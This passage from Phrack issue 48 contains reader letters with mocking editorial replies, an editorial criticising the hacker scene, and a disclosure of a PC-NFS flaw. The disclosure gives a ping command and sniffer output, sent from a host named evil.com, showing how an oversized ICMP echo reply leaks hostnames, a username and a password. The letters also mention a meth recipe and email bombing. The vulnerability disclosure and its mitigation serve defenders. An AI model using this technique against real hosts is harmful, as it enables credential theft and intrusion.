Pure and simple. Once you hit puberty, you might have a need for cash.
Once mommie sends you off to college, you might need it even more. And
in the distant future, when you get out on your own, you will really
know.
Yes, phiber is swell. There have been good pictures of him in many
national magazines. Try not to get the pages stuck together.
And, yes, I do know his email address. Thanks for asking! ]
-----------------------------------------------------------------------------
From: prodigy.com (MR MARK P DOLESH)
How do you hack?
[ Very carefully. ]
-----------------------------------------------------------------------------
Did you ever write a edition that deals with breaking the screensavers
code? If so which one? How about breking the Win95 password. You know
the one that allows you into Win95?
[ We pass all articles about breaking Windows Screen Savers on to
the more technical forum at 2600 magazine.
To disable the Win95 password, install Linux. ]
-----------------------------------------------------------------------------
A phriend of mine showed me your sight a few days ago at his house...I
thought it was pretty cool. I dloaded a few issues and stuff to check
out...I haven't been on the internet to long so I'm still trying to phined
more stuff that interest me, and I would like to set up my own page like
that but my account is thru the school...Is there anyway around that? So
it can be like border line legal? How underground can one go??? If you
still have the file on where the line is please send them...Thanks.
[ Your account is through your school, but you are looking for a way around
that? Hmmm...let me see. I'm just going to throw out something wild
and crazy, but, what the hell: Maybe, get another account through
another Internet provider? I know, it's just too outlandish. Forgive
me for being so zany.
How underground can you really go? I used to have that file you are looking
for, but I was so underground at the time, it got soiled with mud and
disintegrated, eventually polluting the water table, and was ultimately
drank by the city of Pasadena, Texas. ]
-----------------------------------------------------------------------------
In regards to volume one ,issue four , Phile #8 of 11 ...
This shit has got to be a joke , I tryed to make some and
Was a great dissapointment ????
[ The meth recipe works just fine. Obviously you DIDN'T try to make it.
If you feel like a REAL MORON, look at the cat recipe in the line noise
section of this issue. Stay up for a week, go into deep amphetamine
psychosis and die! Woo Woo! ]
-----------------------------------------------------------------------------
I ve tried to locate these guys who have Black book for cracking
passwords in major software and some games as well.They go by the Names
of Jolly Reaper and Maugan Ra aka Manix.Iam doc X from London (not a
pig!!!) if U happpen to know these doodez let us know.TA from GB
[ Perhaps you have Phrack confused with something having to do with
pirated software. I'd ask that question in a posting to the USENET
group alt.warez or on the IRC #warez channels. ]
-----------------------------------------------------------------------------
Eric,
i have been searching the internet for some kind of script that
will subscribe a certain email address to a shitload of
mailing lists...i have heard of such a thing.
what im lacking is that keyword to search for such as:
bombard
attack
flash
what is the technical term for this kind of attack?
or better yet, do you know where to get a hold of such a script.
im not familiar with mailing lists and id rather not spend the time
researching the topic...but i need vengeance quickly :-)
any help appreciated,
-roger
[ The name for this type of attack? Uh, an email bomb?
But let's take a closer look at your mail:
"id rather not spend the time researching the topic...but I need vengeance
quickly"
I'm not going to be your fucking research assistant, or your accomplice.
If you can't figure out how to look through our back issues to find any of
the tons of fake mailers we've printed, or figure out how to automate them
using shell script, then you don't deserve to live, much less
get your speedy vengeance.
Couldn't you even come up with a NON-LAME way to get back at someone? Hell,
even rewriting their .login to say "exit" or something silly like that is
more clever, and less cliche, than flooding their inbox. ]
-----------------------------------------------------------------------------
The art of " information manipulation " has possessed my virgin soul ! I
turned into a fuckin' 2-year old (drool and all) when experiencing the free
local call system involving a paperclip . All I've been thinking is hack,
haCK, HACK ! I'm still drenched behind the ears but I'm a patient, turbo
learner (whatever the hell that means) !
Here's the problem: I possess some info that could make you smile so
big, that your sphinctor would unwrinkle. I would like to experiment, if you
will . Perhaps, dabble with this stuff , but I am very uneducated in raping
mainframes. This could be a major wood producer
because my EX works at this establishment .
I need a trustworthy pro who possesses a plethora of tasty tactics . Whic
h way to the Dagobah System.....I seek YODA !!
[ Drooling 2-year old.
Very uneducated in raping mainframes.
Major wood producer.
Well, gee, I'm sure your info would make my "sphinctor" unwrinkle, but I'm
wearing a new pair of jeans, so I guess I'll have to take a rain check.
God bless AOL for bringing the internet to the masses! ]
-----------------------------------------------------------------------------
i want to be added to your list. and could you send me unziped hacking
software or can you tell me how to unzip softwarre nd a beginners guide
to hacking. i would appreciate it i want to begin fun new field of
hacking thank you
[ You want to learn all about hacking, but you don't know how to unzip
files?
Crawl before you run, Kwai Chang. ]
-----------------------------------------------------------------------------
VA'CH CO' TAI
Anh Ta'm ddi du li.ch xa, ngu? ta.i mo^.t kha'ch sa.n. DDa~ ma^'y
tie^'ng ddo^`ng ho^` ro^`i anh ngu? kho^ng ddu*o*.c vi` tie^'ng cu*o*`i
no'i huye^n na'o tu*` pho`ng be^n ca.nh vo.ng sang. Ro~ ra`ng la` ho.
ddang dda'nh ba`i, sa't pha.t nhau a(n thua lo*'n.
Ra'ng nhi.n cho to*'i 3 gio*` sa'ng va^~n cu*' tra(`n tro.c hoa`i, anh
Ta'm chi.u he^'t no^?i, be`n go~ nhe. va`o va'ch dde^? nha('c khe'o
pho`ng be^n ca.nh.
Anh Ta'm vu*`a go~ xong la^.p tu*'c anh nghe mo^.t gio.ng tenor he't le^n
tu*` pho`ng be^n:
- Tro*`i o*i! Co' bie^'t ba^y gio*` la` ma^'y gio*` sa'ng ro^`i
kho^ng? O*? ddo' ma` ddo'ng ddinh treo hi`nh!
- ?!?!?
[Uh, let's see...No Boom Boom with soul brother. Soul Brother too beaucoup.
Ddi Ma'o.]
-----------------------------------------------------------------------------
Hola me gustaria tener mucha informacion de lo que ustedes hacen sobre
todo de como lo hacen. Es decir que me manden informacion de los secretos
de los sistemas operativos de internet de todo lo que me puedan mandar.
yo soy universitario, y me gusta todo lo relacionado con redes.
Muchos saludos.
Contestenme.
[ What is this, International Day?
!Si quieras mucha informacion, LEA MUCHOS LIBROS! !DIOS MIO! !No estoy
el maestro del mundo! Ehehe, esta fue solomente una chiste. No esta
nunca libros en espanol sobre <<computer security>>. Que lastima.
If you want to learn, start with english...then go buy the entire O'Reilly
Yellow series and Blue series. That will get you started learning
"los secretos de los sistemas operativos de internet." ]
-----------------------------------------------------------------------------
From: "Erik K. Escobar"
Subject: Apology
This letter is to be forwared to the newsgroup io.general by madmagic, in
care of Mr. Escobar.
I would like to send a public apology to Internex Online for the
treatment I have given the staff and users of this system. I threw
around some threats and words that can incriminate me, and realized that
it was a stupid idea on my behalf. In the last week or so with the
negative attention I have gotten, I got to know the IO/ICAN staff a bit
better and everything in good standing. Me and Internex Online are now
even and there will be no retaliation or sour words from me. I just want
everything to go back to the norm.
Erik
[ * AND THEN * ]
From: "Erik K. Escobar"
Subject: Shit
As my understanding, A letter of apology under my name was redistributed
around within my mailing list and whatever. As some of you know, myself
and Zencor have been having problems with Internex in the past and near
the middle of this week, I got into a large battle with was ACC, ICAN,
and Internex Online -vs- Me. It is stupid to get into an argument with
that many corporations, and a few words and threats were thrown, they
locked my account. I wrote a letter in response of that and they
proceded to lock other Zencor staff accounts and hack our web site. Also
they posted the letter in the news groups and whatever. They eventually
decided to charge me and whatever, and to save me time outta the courts
and crap like that I made an apology for the threats, seeing that they
could incriminate me. Internex has done wrong and I probably won't be
seeing alot of apologies coming my way. If they didn't have certain info
about me..they could have me very well laughing at them but that is not
the case.
Erik
Lord Kaotik
[ ZENC0R TECHN0L0GIES ]
[ Can you say, LAME? ]
-----------------------------------------------------------------------------
Been trying to locate for some time the file, plusmap.txt that used to be on
the phrack bbs (716-871-1915). This file outlined information regarding the
videopal in the videocipher II plus satellite decoder module. Any idea where
I might find this file?
[ I didn't know there was a "phrack" bbs. <Sigh>
In any case, I would look for information regarding this on the following
sites:
http://www.scramblingnews.com
http://www.hackerscatalog.com
http://ireland.iol.ie/~kooltek/welcome.html
Satellite Watch BBS : 517-685-2451
This ought to get you in the right direction. ]
-----------------------------------------------------------------------------
Hi,
Just a quick note to tell you about the Hawaii Education Literacy Project -
a non-profit organization - and our efforts to promote literacy by making
electronic text easier and more enjoyable to read. Given that we're both in
the reading biz, I thought you might be interested.
ReadToMe, our first program, reads aloud any form of electronic text,
including Web pages, and is free to anyone who wishes to use it.
The "Web Designers" section of our home page tells you how your pages can
literally speak to your audience. Actually, all you need to do to make your
pages audible is to add the following html code:
<P><A HREF="http://www.pixi.com/~reader1/readweb.bok">Hear
This Page!</A> Requires ReadToMe Software... Don't got it? <A
HREF="http://www.pixi.com/~reader1">GET IT FREE!</A>
</P>
A beta test version of the program can be obtained from
http://www.pixi.com/~reader1. I encourage you and your readers to download
a copy and take it for a spin.
Thank you for your time,
Rob Hanson
rhanson@freeway.net
Hawaii Education Literacy Project
[ Honestly, I don't know if this is a spam to a list of magazine people, or
really a phrack reader. I have this thing about jumk email, and the joy of
offering that info to our thousands of bored hacker readers looking for
an excuse to fuck with some system.
I'll let them decide if this was a spam. Thanks, Rob. ]
-----------------------------------------------------------------------------
********************************
SYNTHETIC PLEASURES opens in the US theaters
********************************
save the date, spread the word. forgive us if you got this before.
-----------------------------------------------------------------------
eerily memorable is SYNTHETIC PLEASURES, a trippy, provocative tour through
the perfectly artificial worlds of cyberspace, plastic surgery,
mind-altering chemicals and controlled, man-made environments that
questions whether the natural world is redundant, or even necessary. those
who see it will want to pinch themselves when it's over.
(janet maslin- The New York Times)
------------------------------------------------------------------------
for further info contact:
caipirinha@caipirinha.com
http://www.syntheticpleasures.com
first opening dates:
Aug 29 Los Angeles, CA- Nuart Theatre
Aug 30 San Francisco, CA- Castro Theatre
Aug 30 Berkeley, CA- UC Theatre
Aug 30 San Jose, CA- Towne Theatre
Aug 30 Palo Alto, CA- Aquarius Theatre
Aug 30 Portland, OR- Cinema 21
Sept 13 San Diego, CA- Ken Theatre
Sept 13 NYC, NY- Cinema Village
Sept 13 NYC, NY- City Cinemas
Sept 13 Larkspur, CA- Larkspur Theatre
Sept 20 Boston, MA- Kendall Square Theater
Sept 20 Cleveland, OH- Cedar Lee
Sept 20 Philadelphia, PA- Ritz
Sept 22 Vorheess, NJ- Ritz 12
Sept 27 Austin, TX- Dobie Theater
Sept 27 New Haven, CT- York Theatre
Sept 27 Pittsburgh,PA- Rex
Oct 4 Washington, DC- Key Cinema
Oct 11 Providence, RI- Avon Theater
Oct 11 Kansas City, MO- Tivoli
Oct 11 Baltimore,MD - Charles Theatre
Oct 18 Waterville MA- Railroad Square
Oct 18 Durham,NC - Carolina Theater
Oct 18 Raleigh, NC - Colony Theater
Oct 18 Chapel Hill,NC -The Chelsea Theatre
Oct 25 Seattle, WA- Varsity
Nov 8 Ft Lauderdale FL- Fox Sunrise
Nov 15 Gainesville,FL - Plaza Theater
Nov 16 Hanover, NH- Dartmouth Theater
Nov 22 Miami, FL- Alliance
Nov 25,29,30 Tampa FL - Tampa Theatre
Dec 13 Chicago, IL - Music Box
[ THIS WAS DEFINATELY A SPAM.
I wonder what lovely cgi-bin holes that WWW site is sporting.
But wait, maybe they just want some k-rad cyber-press like
MGM got for the "Hackers" WWW page. Oh man, what a dilemma.
To hack, or not to hack. Assholes. ]
-----------------------------------------------------------------------------
==Phrack Magazine==
Volume Seven, Issue Forty-Eight, File 2a of 18
Phrack Editorial
by
Erik Bloodaxe
This may very well be my last Phrack editorial, since I'm no longer going to
fill the day-to-day role of editor, so I figure I ought to close out my
crusade to piss everyone off.
I don't like most of you people. The hacking subculture has become a
mockery of its past self. People might argue that the community has
"evolved" or "grown" somehow, but that is utter crap. The community
has degenerated. It has become a media-fueled farce. The act of intellectual
discovery that hacking once represented has now been replaced by one of
greed, self-aggrandization and misplaced post-adolescent angst.
DefCon IV epitomized this change in such amazing detail, that I can only hope
to find words to describe it adequately. Imagine the bastard offspring
of Lollapalooza and a Star Trek convention. Imagine 300+ people out of their
homes, and away from Mother's watchful eye for the first time in their
pathetic lives. Imagine those same people with the ego of Rush Limbaugh and
the social skills of Jeffrey Dahmer, armed with laptops loaded with programs
they can't use, and talking at length to reporters about techniques they
don't understand. Welcome to DefCon.
If I were to judge the health of the community by the turnout of this
conference, my prognosis would be "terminally ill."
It would seem that "hacking" has become the next logical step for many people
looking for an outlet to strike back at "something." "Well, gee, I've already
pierced every available piece of skin on my body and dyed my hair blue...what
on earth can I do now to shock my parents? I know! I'll break some federal
laws, and maybe get my name in the paper! THAT WOULD BE COOL! It'll be
just like that movie!"
I hate to burst everyone's bubble, but you are so fucked up.
In this day and age, you really don't have to do anything illegal to be
a hacker. It is well within the reach of everyone to learn more, and use
more powerful computers legally than any of us from the late 70's and early
80's ever dreamed. Way back then, it was ALL about learning how to use these
crazy things called computers. There were hundreds of different types of
systems, hundreds of different networks, and everyone was starting from ground
zero. There were no public means of access; there were no books in stores or
library shelves espousing arcane command syntaxes; there were no classes
available to the layperson. We were locked out.
Faced with these obstacles, normal, intelligent, law-abiding adolescents from
around the globe found themselves attempting to gain access to these
fascinating machines through whatever means possible. There simply was
no other way. There were no laws, and yet everyone knew it wasn't strictly
kosher behavior. This fact added a cheap rush to the actual break-in, but
the main drive was still simply to learn.
Now, with the majority of operating systems being UNIX-based, and the majority
of networks being TCP/IP-based the amount of knowledge to be gathered has
shrunk considerably. With the incredibly low prices of powerful personal
computers, and the free availablity of complex operating systems, the need
to break into remote systems in order to learn has been removed. The only
possible needs being met by remote intrusions would be a means to gather
specific information to be sold, or that base psychological rush from doing
something forbidden and getting away with it. Chasing any high only leads
to a serious crash, and in the case of breaking into computers, that
only leads to jail.
There is absolutely nothing cool about going to jail. I know too many
people who are currently in jail, who have been in jail, and some who are
on their way to jail. Trust me on this, people. You will not be
respected by anyone if you act rashly, do something careless and
end up being convicted of several felonies. In fact, all of your "friends,"
(those who didn't get busted along with you, and turn state's evidence against
you) will just think you were a moron for being so sloppy...until they also
get nailed.
Get raided and you will almost certainly spend time in jail. Even once you
are released, you will lose your passport and your ability to travel freely,
you will lose your ability to do business in classified environments, you
will become unemployable by most companies, you may even lose your rights to
use computer or networking equipment for years. Is is still worth it?
I break into computers for a living, and I love my job. However, I don't
kid myself about just how lucky I really am. Don't fool yourselves into
thinking that it was easy for me to achieve this, or that anyone else can
easily slip into such a role. Staking out a claim in the information security
industry is a continual battle for a hacker. Your past will constantly
stand in your way, especially if you try to hide it and lie to everyone.
(Read the recent Forbes ASAP article and spot the hacker from Garrison
Associates lying about his past, although he was raided for running
the Scantronics Publications BBS in San Deigo just a few short years ago.
Shame on you Kludge.)
I've never lied about anything, so that can't be held over my head. I've
never been convicted of anything either, although I came closer to jail
than hopefully any of you will ever experience. The ONLY reason I avoided
prison was the fact that law enforcement was not prepared to deal with
that type of crime. Now, I've taught many of those same law enforcement
agencies about the nature of computer crimes. They are all learning and
not making the same mistakes any more.
At the same time, the technology to protect against intrusions has increased
dramatically. Technology now exists that will not only stop attacks, but
identify the attack methodology, the location of the attacker, and take
appropriate countermeasures all in real-time. The company I work for makes it.
I've always said that anything that can stop me will stop almost anyone,
even through I'm not anywhere close to the world's best. There simply
aren't that many things to monitor, once you know what to look for.
The rewards have diminished and the risks have increased.
Hacking is not about crime. You don't need to be a criminal to be a hacker.
Hanging out with hackers doen't make you a hacker any more than hanging
out in a hospital makes you a doctor. Wearing the t-shirt doesn't
increase your intelligence or social standing. Being cool doesn't mean
treating everyone like shit, or pretending that you know more than everyone
around you.
Of course, I'm just a bitter old sell-out living in the past, so
what do I know?
Well, what I do know, is that even though I'm one of the few screaming about
how fucked up and un-fun everything has become, I'm not alone in my disgust.
There are a bunch of us who have reached the conclusion that the "scene"
is not worth supporting; that the cons are not worth attending; that the
new influx of would-be hackers is not worth mentoring. Maybe a lot of us
have finally grown up.
In response, expect a great many to suddenly disappear from the cons. We'll be
doing our own thing, drinking a few cool drinks someplace warm, and reflecting
on the collective pasts we've all drawn from, and how the lack of that
developmental stage has ruined the newer generations. So those of us
with that shared frame of reference will continue to meet, enjoy each
other's company, swap stock tips in the same breath as operating system
flaws, and dream about the future of security.
You're probably not invited.
-----------------------------------------------------------------------------
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Seven, Issue Forty-Eight, File 3 of 18
// // /\ // ====
// // //\\ // ====
==== // // \\/ ====
/\ // // \\ // /=== ====
//\\ // // // // \=\ ====
// \\/ \\ // // ===/ ====
Part I
------------------------------------------------------------------------------
PC-NFS Bug
I have found a nice little security hole in PC-NFS version 5.x. If you
ping a PC-NFS user with a packet size of between 1450 to 1480, the
PC's ICMP reply packet will divulge:
o The hostname of the PC
o The hostname of the PC's authentication server
o The username of the person logged in
o The password for the user (Thank you very much!)
All of this information is in clear text unless PC-NFS's NETLOGIN is
used. NETLOGIN uses XOR as its encryption, so this is hardly secure
either.
NDIS, ODI, 3C503 drivers on SMC and 3C503 cards have been tested
and all freely return the above information on both PC-NFS versions
5.0 and 5.1a. This should work with other driver/NIC configurations
also.
You get the occasional added bonus of locking up the victims PC as
well!
This bug was new to Sun and they have created a new PCNFS.SYS
driver for us. They have labeled it PC-NFS.SYS version 5.1a.DOD.
This new version fills reply ICMP packets with nulls after 200 bytes of
the requested pattern.
Until you receive this patch from Sun, I would recommend setting all
external router interface MTU to a value of no greater than 1350 as this
is point where secrets are contained in the return packet.
The Unix command to generate the below results is as follows:
ping -s -c1 pchost.victim.com 1480
Use your favorite sniffer to filter ICMP packets and you have it. If you
don't have a sniffer, try the -v(erbose) option of ping and convert the
hex to ascii starting around byte 1382.
Sniffer output follows:
19:03:48.81
ip: evil.com->pchost.victim.com
icmp: echo request
62: 024 025 026 027 030 031 032 033 034 035
72: 036 037 ! " # $ % & '
82: ( ) * + , - . / 0 1
92: 2 3 4 5 6 7 8 9 : ;
102: < = > ? @ A B C D E
112: F G H I J K L M N O
122: P Q R S T U V W X Y
132: Z [ \ ] ^ _ ` a b c
142: d e f g h i j k l m
152: n o p q r s t u v w
162: x y z { | } ~ 177 200 201
172: 202 203 204 205 206 207 210 211 212 213
182: 214 215 216 217 220 221 222 223 224 225
192: 226 227 230 231 232 233 234 235 236 237
202: 240 241 242 243 244 245 246 247 250 251
212: 252 253 254 255 256 257 260 261 262 263
222: 264 265 266 267 270 271 272 273 274 275
232: 276 277 300 301 302 303 304 305 306 307
242: 310 311 312 313 314 315 316 317 320 321
252: 322 323 324 325 326 327 330 331 332 333
262: 334 335 336 337 340 341 342 343 344 345
272: 346 347 350 351 352 353 354 355 356 357
282: 360 361 362 363 364 365 366 367 370 371
292: 372 373 374 375 376 377 000 001 002 003
302: 004 005 006 007 010 011 012 013 014 015
312: 016 017 020 021 022 023 024 025 026 027
322: 030 031 032 033 034 035 036 037 !
332: " # $ % & ' ( ) * +
342: , - . / 0 1 2 3 4 5
352: 6 7 8 9 : ; < = > ?
362: @ A B C D E F G H I
372: J K L M N O P Q R S
382: T U V W X Y Z [ \ ]
392: ^ _ ` a b c d e f g
402: h i j k l m n o p q
412: r s t u v w x y z {
422: | } ~ 177 200 201 202 203 204 205
432: 206 207 210 211 212 213 214 215 216 217
442: 220 221 222 223 224 225 226 227 230 231
452: 232 233 234 235 236 237 240 241 242 243
462: 244 245 246 247 250 251 252 253 254 255
472: 256 257 260 261 262 263 264 265 266 267
482: 270 271 272 273 274 275 276 277 300 301
492: 302 303 304 305 306 307 310 311 312 313
502: 314 315 316 317 320 321 322 323 324 325
512: 326 327 330 331 332 333 334 335 336 337
522: 340 341 342 343 344 345 346 347 350 351
532: 352 353 354 355 356 357 360 361 362 363
542: 364 365 366 367 370 371 372 373 374 375
552: 376 377 000 001 002 003 004 005 006 007
562: 010 011 012 013 014 015 016 017 020 021
572: 022 023 024 025 026 027 030 031 032 033
582: 034 035 036 037 ! " # $ %
592: & ' ( ) * + , - . /
602: 0 1 2 3 4 5 6 7 8 9
612: : ; < = > ? @ A B C
622: D E F G H I J K L M
632: N O P Q R S T U V W
642: X Y Z [ \ ] ^ _ ` a
652: b c d e f g h i j k
662: l m n o p q r s t u
672: v w x y z { | } ~ 177
682: 200 201 202 203 204 205 206 207 210 211
692: 212 213 214 215 216 217 220 221 222 223
702: 224 225 226 227 230 231 232 233 234 235
712: 236 237 240 241 242 243 244 245 246 247
722: 250 251 252 253 254 255 256 257 260 261
732: 262 263 264 265 266 267 270 271 272 273
742: 274 275 276 277 300 301 302 303 304 305
752: 306 307 310 311 312 313 314 315 316 317
762: 320 321 322 323 324 325 326 327 330 331
772: 332 333 334 335 336 337 340 341 342 343
782: 344 345 346 347 350 351 352 353 354 355
792: 356 357 360 361 362 363 364 365 366 367
802: 370 371 372 373 374 375 376 377 000 001
812: 002 003 004 005 006 007 010 011 012 013
822: 014 015 016 017 020 021 022 023 024 025
832: 026 027 030 031 032 033 034 035 036 037
842: ! " # $ % & ' ( )
852: * + , - . / 0 1 2 3
862: 4 5 6 7 8 9 : ; < =
872: > ? @ A B C D E F G
882: H I J K L M N O P Q
892: R S T U V W X Y Z [
902: \ ] ^ _ ` a b c d e
912: f g h i j k l m n o
922: p q r s t u v w x y
932: z { | } ~ 177 200 201 202 203
942: 204 205 206 207 210 211 212 213 214 215
952: 216 217 220 221 222 223 224 225 226 227
962: 230 231 232 233 234 235 236 237 240 241
972: 242 243 244 245 246 247 250 251 252 253
982: 254 255 256 257 260 261 262 263 264 265
992: 266 267 270 271 272 273 274 275 276 277
1002: 300 301 302 303 304 305 306 307 310 311
1012: 312 313 314 315 316 317 320 321 322 323
1022: 324 325 326 327 330 331 332 333 334 335
1032: 336 337 340 341 342 343 344 345 346 347
1042: 350 351 352 353 354 355 356 357 360 361
1052: 362 363 364 365 366 367 370 371 372 373
1062: 374 375 376 377 000 001 002 003 004 005
1072: 006 007 010 011 012 013 014 015 016 017
1082: 020 021 022 023 024 025 026 027 030 031
1092: 032 033 034 035 036 037 ! " #
1102: $ % & ' ( ) * + , -
1112: . / 0 1 2 3 4 5 6 7
1122: 8 9 : ; < = > ? @ A
1132: B C D E F G H I J K
1142: L M N O P Q R S T U
1152: V W X Y Z [ \ ] ^ _
1162: ` a b c d e f g h i
1172: j k l m n o p q r s
1182: t u v w x y z { | }
1192: ~ 177 200 201 202 203 204 205 206 207
1202: 210 211 212 213 214 215 216 217 220 221
1212: 222 223 224 225 226 227 230 231 232 233
1222: 234 235 236 237 240 241 242 243 244 245
1232: 246 247 250 251 252 253 254 255 256 257
1242: 260 261 262 263 264 265 266 267 270 271
1252: 272 273 274 275 276 277 300 301 302 303
1262: 304 305 306 307 310 311 312 313 314 315
1272: 316 317 320 321 322 323 324 325 326 327
1282: 330 331 332 333 334 335 336 337 340 341
1292: 342 343 344 345 346 347 350 351 352 353
1302: 354 355 356 357 360 361 362 363 364 365
1312: 366 367 370 371 372 373 374 375 376 377
1322: 000 001 002 003 004 005 006 007 010 011
1332: 012 013 014 015 016 017 020 021 022 023
1342: 024 025 026 027 030 031 032 033 034 035
1352: 036 037 ! " # $ % & '
1362: ( ) * + , - . / 0 1
1372: 2 3 4 5 6 7 8 9 : ;
1382: < = > ? @ A B C D E
1392: F G H I J K L M N O
1402: P Q R S T U V W X Y
1412: Z [ \ ] ^ _ ` a b c
1422: d e f g h i j k l m
1432: n o p q r s t u v w
1442: x y z { | } ~ 177 200 201
1452: 202 203 204 205 206 207 210 211 212 213
1462: 214 215 216 217 220 221 222 223 224 225
1472: 226 227 230 231 232 233 234 235 236 237
1482: 240 241 242 243 244 245 246 247 250 251
19:03:48.85
ip: pchost.victim.com->evil
icmp: echo reply
62: 024 025 026 027 030 031 032 033 034 035
72: 036 037 ! " # $ % & '
82: ( ) * + , - . / 0 1
92: 2 3 4 5 6 7 8 9 : ;
102: < = > ? @ A B C D E
112: F G H I J K L M N O
122: P Q R S T U V W X Y
132: Z [ \ ] ^ _ ` a b c
142: d e f g h i j k l m
152: n o p q r s t u v w
162: x y z { | } ~ 177 200 201
172: 202 203 204 205 206 207 210 211 212 213
182: 214 215 216 217 220 221 222 223 224 225
192: 226 227 230 231 232 233 234 235 236 237
202: 240 241 242 243 244 245 246 247 250 251
212: 252 253 254 255 256 257 260 261 262 263
222: 264 265 266 267 270 271 272 273 274 275
232: 276 277 300 301 302 303 304 305 306 307
242: 310 311 312 313 314 315 316 317 320 321
252: 322 323 324 325 000 000 324 005 ^ $
262: : 004 000 000 000 000 000 000 000 000
272: 036 006 W V P S Q R 016 007
282: 277 ^ $ 213 367 350 X p r c
292: 212 E " < 000 u 005 350 V 003
302: 353 W < 005 u 005 350 W 002 353
312: N < 010 u 007 306 006 325 # 001
322: 353 H < 015 u 007 306 006 325 #
332: 001 353 = < 017 u 007 306 006 325
342: # 001 353 2 < 022 u 005 350 021
352: 002 353 $ < 003 u 005 350 9 003
362: 353 033 < 022 w 017 2 344 213 360
372: 212 204 300 # P 350 225 305 X 353
382: 010 P 270 c 000 350 213 305 X 306
392: 006 205 347 000 Z Y [ X ^ _
402: 007 037 313 P S Q R U 036 006
412: W V 214 310 216 330 216 300 306 006
422: 325 # 000 373 277 ^ $ 273 A 347
432: 271 006 000 215 6 d $ 212 004 210
442: 005 212 007 210 004 F G C 342 363
452: 241 x $ 243 | $ 241 z $ 243
462: ~ $ 241 324 ) 243 x $ 241 326
472: ) 243 z $ 277 ^ $ 212 E "
482: < 010 u 015 P 270 ` 000 350 $
492: 305 X 350 275 001 353 022 < 015 u
502: 012 P 270 a 000 350 023 305 X 353
512: 004 < 017 u 003 350 017 000 306 006
522: 205 347 000 ^ _ 007 037 ] Z Y
532: [ X 303 P 270 < 000 350 363 304
542: X 307 E $ 000 000 215 u " 213
552: M 020 206 351 203 351 024 367 301 001
562: 000 t 006 213 331 306 000 000 A 321
572: 371 350 , o 211 ] $ 307 E 030
582: 000 000 215 u 016 271 012 000 350 033
592: o 211 ] 030 213 E 020 206 340 005
602: 016 000 243 ` % 211 > b % 214
612: 016 d % 277 ^ % . 376 006 ?
622: 020 350 9 276 . 376 016 ? 020 303
632: & 213 E 002 013 300 t 020 243 326
642: # & 213 ] 004 211 036 330 # 350
652: 231 m 353 0 200 > 324 ) 000 t
662: 033 & 203 } 006 000 t 024 203 >
672: 326 # 000 u 015 350 031 000 203 >
682: 326 # 000 t 003 350 u m 241 326
692: # & 211 E 002 241 330 # & 211
702: E 004 303 & 213 M 006 006 V W
712: 016 007 272 000 000 277 334 # 350 $
722: 000 241 323 # 243 350 X 203 > 326
732: # 000 u 023 366 006 343 015 001 u
742: 014 203 > 350 X 000 u 353 272 001
752: 000 342 332 _ ^ 007 303 Q R W
762: 203 372 000 u 021 203 > 030 214 000
772: t 012 276 004 214 271 003 000 363 245
782: 353 010 270 377 377 271 003 000 363 253
792: 276 A 347 271 003 000 363 245 _ 270
802: 377 377 211 E 036 211 E 241 324
812: ) 211 E 032 241 326 ) 211 E 034
822: 270 000 206 340 211 E 020 306 E
832: 016 E 306 E 017 000 307 E 022 000
842: 000 307 E 024 000 000 306 E 026 002
852: 306 E 027 001 307 E 014 010 000 3
862: 300 306 E " 021 210 E # 211 E
872: & 211 E ( 350 250 376 Z Y 303
882: 200 > 326 # 000 u 014 213 E *
892: 243 326 # 213 E , 243 330 # P
902: 270 V 000 350 205 303 X 303 P S
912: Q R 213 E : 213 ] < 213 M
922: & 213 U ( 350 223 k Z Y [
932: X P 270 \ 000 350 e 303 X 303
942: 306 E " 000 P 270 X 000 350 X
952: 303 X 303 & 213 E 002 & 213 ]
962: 004 & 213 U 006 006 W 016 007 350
972: Y i s 003 351 227 000 277 334 #
982: W 271 003 000 363 245 276 A 347 271
992: 003 000 363 245 _ 211 E 036 211 ]
1002: 241 324 ) 211 E 032 241 326 )
1012: 211 E 034 270 000 206 340 211 E
1022: 020 306 E 016 E 306 E 017 000 307
1032: E 022 000 000 307 E 024 000 000 306
1042: E 026 377 306 E 027 001 307 E 014
1052: 010 000 3 300 306 E " 010 210 E
1062: # 211 E & 377 006 h % 241 h
1072: % 211 E ( 211 026 350 X 211 026
1082: l % 307 006 j % 000 000 350 322
1092: 375 203 > 350 X 000 t # 366 006
1102: 343 015 001 u ! 203 > j % 000
1112: t 353 203 > j % 001 u 011 241
1122: l % + 006 350 X 353 015 270 375
1132: 377 353 010 270 376 377 353 003 270 377
1142: 377 307 006 l % 000 000 _ 007 &
1152: 211 E 010 303 P 270 ^ 000 350 206
1162: 302 X 203 > l % 000 t 017 213
1172: ] ( ; 036 h % u 006 307 006
1182: j % 001 000 303 P 270 ; 000 350
1192: g 302 X 203 > l % 000 t 006
1202: 307 006 j % 002 000 303 000 000 000
1212: 000 000 000 000 000 000 000 000 000 000
1222: 000 000 000 000 000 000 000 000 000 000
1232: 000 000 000 000 000 000 000 000 000 000
1242: 000 000 000 000 000 000 000 000 002 000
1252: 000 000 300 A 000 000 034 000 000 000
1262: 200 000 000 000 k 000 000 000 000 016
1272: 000 000 000 000 000 000 000 000 000
1282: 010 000 000 000 252 001 000 000 010 5
1292: 000 000 r 027 301 . 000 000 000 000
1302: 036 F 300 . 000 000 000 000 036 F
1312: 300 . 000 000 000 000 000 000 000 000
1322: 000 000 000 000 000 000 000 000 000 000
1332: 000 000 000 000 000 000 000 000 000 000
1342: 000 000 000 000 000 000 000 000 000
1352: 000 000 000 002 000 000 200 366 = 000
1362: { 255 023 000 242 265 015 000 002 000
1372: 000 000 S 017 005 000 C 003 000 000
1382: p c h o s t 000 000 000 000
1392: 000 000 000 000 000 000 244 A @ -
1402: s e r v e r 1 000 000 000
1412: 000 000 000 000 000 000 244 A @ 001
1422: 000 000 000 000 000 000 000 000 000 000
1432: 000 000 000 000 000 000 244 A @ 001
1442: u s e r n a m e 000 000
1452: p a s s w d 000 000 000 000
1462: 000 000 000 000 000 000 000 000 000 000
1472: 000 000 000 000 000 000 000 000 000 000
1482: 000 000 200 000 k 000 260 271 377 377
1492: 344 275 9 212
The names have been changed to protect the innocent, but the rest is actual.
Byte 1382: PC's hostname
Byte 1402: PC's Authentication server hostname
Byte 1382: The user's account name. Shows nobody if logged out.
Byte 1382: The user's password.
------------------------------------------------------------------------------
POCSAG paging format, code and code capacity
The POCSAG (Post Office Code Standardization Advisory Group) code is a
synchronous paging format that allows pages to be transmitted in a SINGLE-BATCH
structure. The POCSAG codes provides improved battery-saving capability and an
increased code capacity.
The POCSAG code format consists of a preamble and one or more batches of
codewords. Each batch comprises a 32-bit frame synchronization code and eight
